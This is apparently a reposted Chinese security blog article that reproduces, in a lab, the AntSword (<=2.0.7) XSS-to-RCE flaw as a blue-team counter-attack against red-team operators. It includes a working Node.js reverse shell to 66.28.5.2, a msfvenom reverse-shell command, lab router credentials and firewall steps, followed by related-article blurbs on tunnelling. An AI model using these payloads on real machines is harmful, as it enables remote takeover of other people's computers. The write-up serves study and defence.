<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    分享 | 蟻劍RCE反制復現

    VSole2022-12-05 11:37:06

    Zero

    漏洞概述

    中國蟻劍是一款開源的跨平臺網站管理工具,它主要面向于合法授權的滲透測試安全人員以及進行常規操作的網站管理員。

    2019年4月12日凌晨,有用戶在中國蟻劍GitHub上提交了issue,稱發現中國蟻劍存在XSS漏洞,借此可引起RCE。據悉,該漏洞是因為在webshell遠程連接失敗時,中國蟻劍會返回錯誤信息,但因為使用的是html解析,導致xss漏洞。

    One

    影響范圍

    AntSword <=2.0.7

    Two

    實驗環境搭建

    ●環境拓撲

    ●安裝v2.0.7版本蟻劍

    版本2.0.7的蟻劍不能安裝在Linux系統,所以將Windows 10物理機當做紅隊使用的主機。

    下載地址:鏈接:https://pan.baidu.com/s/1x8bXH-ph6wRCZcmIt_HHDw
    提取碼:rizb

    1.將壓縮包解壓,解壓之后。

    2.打開啟動器,選擇windows版本,雙擊AntSword.exe 啟動文件。

    3.初始化,配置核心源代碼文件位置。

    4.雙擊AntSword.exe 重啟。

    ●藍隊靶標Centos 7

    Centos 7自動獲取到的IP地址為10.10.19.50

    1.在靶機上搭建LAMP服務和phpcms v9.6.0環境。

    2.邊界FW2防火墻開放對應的接口

    訪問http://1.1.1.12/cgi-bin/luci/,輸入root/goktech進行登錄。

    點擊“網絡->防火墻->端口轉發->新增”,則可以添加新的端口轉發規則。

    設置新的端口轉發規則。

    名稱:可以任意取名,建議與規則相關;
    協議:可以選擇TCP、UDP、ICMP,一個規則最好只選一個協議,不然容易出問題;
    源區域:這個指的是外網所在的區域,我們事先配置好了每個接口一個區域,因此只要選對應接口即可,FW2選ETH4,FW1選ETH2;
    外部端口:這里是外網供訪問的端口號,可以填單個端口或者一個端口段,如8000-9000;
    目標區域:這里填寫的是前往內網服務器路由的出接口,以FW2為例,如果要映射服務器就填寫ETH3;
    內部IP地址:這里填寫內網服務器的IP地址,在下拉框的最后可以輸入ip按回車即可變為可選的ip;
    內部端口:這里填寫內部服務器要映射的端口,可以填單個端口或者一個端口段,如8000-9000。

    配置完成后點擊右下角保存,即可增加規則,但規則不會馬上生效。規則是自上而下進行匹配的,可以按住規則右側的白色按鈕上下拖動調整順序,最后點擊“保存并應用”方可生效。

    ●藍隊靶標Windows Server 2016

    Windows Server 2016自動獲取到的IP地址是10.10.19.51

    1.使用phpstudy搭建,啟動nginx+mysql服務。

    2.搭建好phpcms v9.6.0環境。

    3.邊界FW2防火墻開放對應的接口

    訪問http://1.1.1.12/cgi-bin/luci/,輸入root/goktech進行登錄。

    點擊“網絡->防火墻->端口轉發->新增”,則可以添加新的端口轉發規則。

    設置新的端口轉發規則。

    將靶標Windows Server 2016上的phpcms平臺映射到公網66.28.5.2的80端口上

    配置完成后點擊右下角保存,即可增加規則,但規則不會馬上生效。規則是自上而下進行匹配的,可以按住規則右側的白色按鈕上下拖動調整順序,最后點擊“保存并應用”方可生效。

    Three

    反制

    ●反制條件

    紅隊:Windows 10 藍隊:Centos 7

    1.紅隊通過phpcms v9.6.0文件上傳漏洞,上傳了一句話木馬文件,并且使用蟻劍成功連接。

    2.藍隊Centos 7 :關閉防火墻。

    3.邊界FW2防火墻開放接口

    訪問http://1.1.1.12/cgi-bin/luci/,輸入root/goktech進行登錄。

    點擊“網絡->防火墻->端口轉發”,則可以看到端口轉發規則。

    點擊“編輯”,進入修改端口轉發規則。

    配置完成后點擊右下角保存,即可修改規則,最后點擊“保存并應用”方可生效。

    紅隊:Windows 10 藍隊:Windows Server 2016

    1.紅隊通過phpcms v9.6.0文件上傳漏洞,上傳了一句話木馬文件,并且使用蟻劍成功連接。

    2.藍隊Windows Server 2016:關閉防火墻。

    3.邊界FW2防火墻開放接口

    訪問http://1.1.1.12/cgi-bin/luci/,輸入root/goktech進行登錄。

    點擊“網絡->防火墻->端口轉發”,則可以看到端口轉發規則。

    點擊“編輯”,進入修改端口轉發規則。

    配置完成后點擊右下角保存,即可修改規則,最后點擊“保存并應用”方可生效。

    4.紅隊Windows 10關閉殺毒軟件,比如火絨、360等等。

    如果沒有關閉火絨,則會報僵尸網絡攻擊,并將攻擊進行攔截。

    ●反制目的

    當紅隊再次使用蟻劍連接時,直接反彈shell,藍隊可以反控紅隊機器。

    ●反制開始條件

    紅隊:Windows 10 藍隊:Centos 7

    1.藍隊檢查日志時,發現紅隊使用蟻劍v2.0連接了20220609050516861.php。

    2.查看20220609050516861.php,發現該文件是一句話木馬文件。

    ●反制過程

    Centos 7

    1.藍隊就準備根據蟻劍v2.0漏洞進行反制紅隊,制作payload,修改20220609050516861.php內容。

    1.1 使用net.Socket方法制作木馬

    將以下內容進行base64編碼,66.28.5.2為藍隊centos 7映射到公網上的IP地址,監聽端口為10099。

    var net = require("net"), sh = require("child_process").exec("cmd.exe");
    var client = new net.Socket();
    client.connect(10099, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
    
    在Node.js中提供了一個net.Socket對象,用于方便調用底層Socket接口,實現數據傳輸的功能。net.Socket既可以讀也可以寫,這個client建立socket鏈接,實現了將對方cmd.exe的標準輸入輸出與標準錯誤流轉發到受害者自己的ip:10099端口上。

    將上面base64編碼完成的內容放進Buffer函數中。

    header("HTTP/1.1 500 Not ");
    ?>
    


    1.2 使用MSF生成node.js木馬

    使用msfvenom 命令生成木馬

    msfvenom -p nodejs/shell_reverse_tcp LHOST=66.28.5.2 LPORT=10099 -f raw -o payload.js

    將payload.js中的內容進行base64編碼,將base64編碼完成的代碼放進Buffer函數。

    header("HTTP/1.1 500 Not ");
    ?>
    


    2.開啟監聽端口

    藍隊使用nc開啟監聽10099端口。

    3.當紅隊再一次使用蟻劍進行連接webshell時,發現報錯,可能以為自己的密碼錯了或者木馬文件沒了,而此時,紅隊已經被藍隊控制了。

    ●Windows Server 2016

    1.藍隊就準備根據蟻劍v2.0漏洞進行反制紅隊,制作payload,修改20220609035913593.php內容。

    將以下內容進行base64編碼,66.28.5.2為藍隊靶機映射到公網上的IP地址,監聽端口為10088。

    var net = require("net"), sh = require("child_process").exec("cmd.exe");
    var client = new net.Socket();
    client.connect(10088, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
    
    在Node.js中提供了一個net.Socket對象,用于方便調用底層Socket接口,實現數據傳輸的功能。net.Socket既可以讀也可以寫,這個client建立socket鏈接,實現了將對方cmd.exe的標準輸入輸出與標準錯誤流轉發到受害者自己的ip:10088端口上。

    將上面base64編碼完成的內容放進Buffer函數中。

    header("HTTP/1.1 500 Not ");
    ?>
    


    2.開啟監聽端口

    藍隊靶機使用nc開啟監聽10088端口。

    3.當紅隊再一次使用蟻劍進行連接webshell時,發現報錯,可能以為自己的密碼錯了或者木馬文件沒了,而此時,紅隊已經被藍隊控制了。

    Four

    防火墻端口轉發
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    1) Namp收集信息 2) 簡單文本文件登錄腳本 (SiTeFiLo) 1.0.6 - 文件泄露/遠程文件包含 3) 空間越權(CVE-2018-18955) 4) hydra爆破 5) Vim提權 2.漏洞 1) CVE-2008-5763/2008-5762 2) CVE-2018-18955
    段時間在一次內網中遇到了一個問題,當時想了很多辦法,雖然最終沒能解決但是也學了很多東西。
    隱藏通訊隧道技術
    2021-10-22 22:16:06
    防火墻兩端的數據包通過防火墻所允許的數據包類型或端口進行封裝,然后穿過防火墻,與對方進行通信。當封裝的數據包到達目的地時,將數據包還原,并將還原后的數據包發送到相應服務器上。nslookup 是windows自帶的DNS探測命令,執行:
    內網滲透合集(二)
    2023-01-28 09:35:05
    接下來在內網肉雞再次執行:htran -p -slave 公網肉雞IP 119 127.0.0.1 8009?linux也有實現,感覺使用方法更加明朗,且與windows下的兼容 在此推薦下。把windows的小做修改下,重新編譯了下,源程序比較簡單就不上傳工程文件了,直接給個C文件,自己編譯下即可。linux下實現大同小異,只不過用的fork實現子線程。此時在滲透測試端192.168.10.50可看到通道連接成功,效果如圖4。
    NAT穿透是如何工作的
    2022-08-11 06:32:23
    整個過程對雙方透明。本文接下來都將關注在 UDP 上。對收發包的 socket 有直接控制權。例如,從經驗上來說,無法基于某個現有的網絡庫實現 NAT 穿透,因為我們 必須在使用的“主要”協議之外,發送和接收額外的數據包。某些協議將 NAT 穿透與其他部分緊密集成。
    隧道與端口轉發
    2021-11-18 08:26:13
    如果想獲得課程報名資格,請添加文末小助手微信咨詢。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。情況1:目標禁止出站ip如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。情況2:禁止出站端口Linux系統使用Linux系統自帶命令探測出網端口
    SSH代理轉發
    2022-03-04 22:03:04
    瀏覽器開啟代理SOCK5可以看到IP發生變化四、SSH本地轉發網絡拓撲圖1.kali能與邊界服務器互通。這里用ubuntu作為邊界服務器sudo apt-get install openssh-server //安裝SSH服務
    Windows如果RDP連接上去,可以使用圖形化工具(如御劍)。如果是webshell,可以使用fscan、nmap。重命名Dir,方便后續操作。將客戶端配置刪除?服務端監聽地址?服務端儀表板的端口。log_level記錄的日志級別。執行命令等待frpc連接./frps?#是該條規則在服務端開放的端口號,待會兒用proxyfier連的端口
    內網滲透合集(三)
    2023-01-28 09:44:16
    jsp端口轉發滲透過程中,由于windows和linux的差別以及運行語言環境的限制導致端口轉發經常出現問題。于是自己寫了個簡單的JSP的端口轉發腳本。仿造 LCX的功能,具有正向、反向、監聽三種模式。對于目前數量眾多的JAVA WEB網站來說,可以比較方便的實現端口轉發。在這里發布出來,小伙伴們使用過程中,如果發現什么bug歡迎提交哈~參數說明/KPortTran.jsp?lip = local ip / 本地ip //一般為內網主機IP. lp = local port / 本地端口 //一般為內網主機端口
    啟動網絡擴展功能以后,移動辦公設備與虛擬網關之間會建立一條SSL VPN隧道,移動辦公設備從虛擬網關地址池中獲得一個私網IP地址,用于訪問內網資源。虛擬網關解封裝以后,再查找路由和安全策略,發送給服務器端。圖 2 網絡擴展業務交互流程因此,首先要允許移動辦公用戶通過HTTPS登錄虛擬網關,建立SSL隧道。根據客戶端配置,SSL隧道可能使用TCP 443端口或者UDP 443端口
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类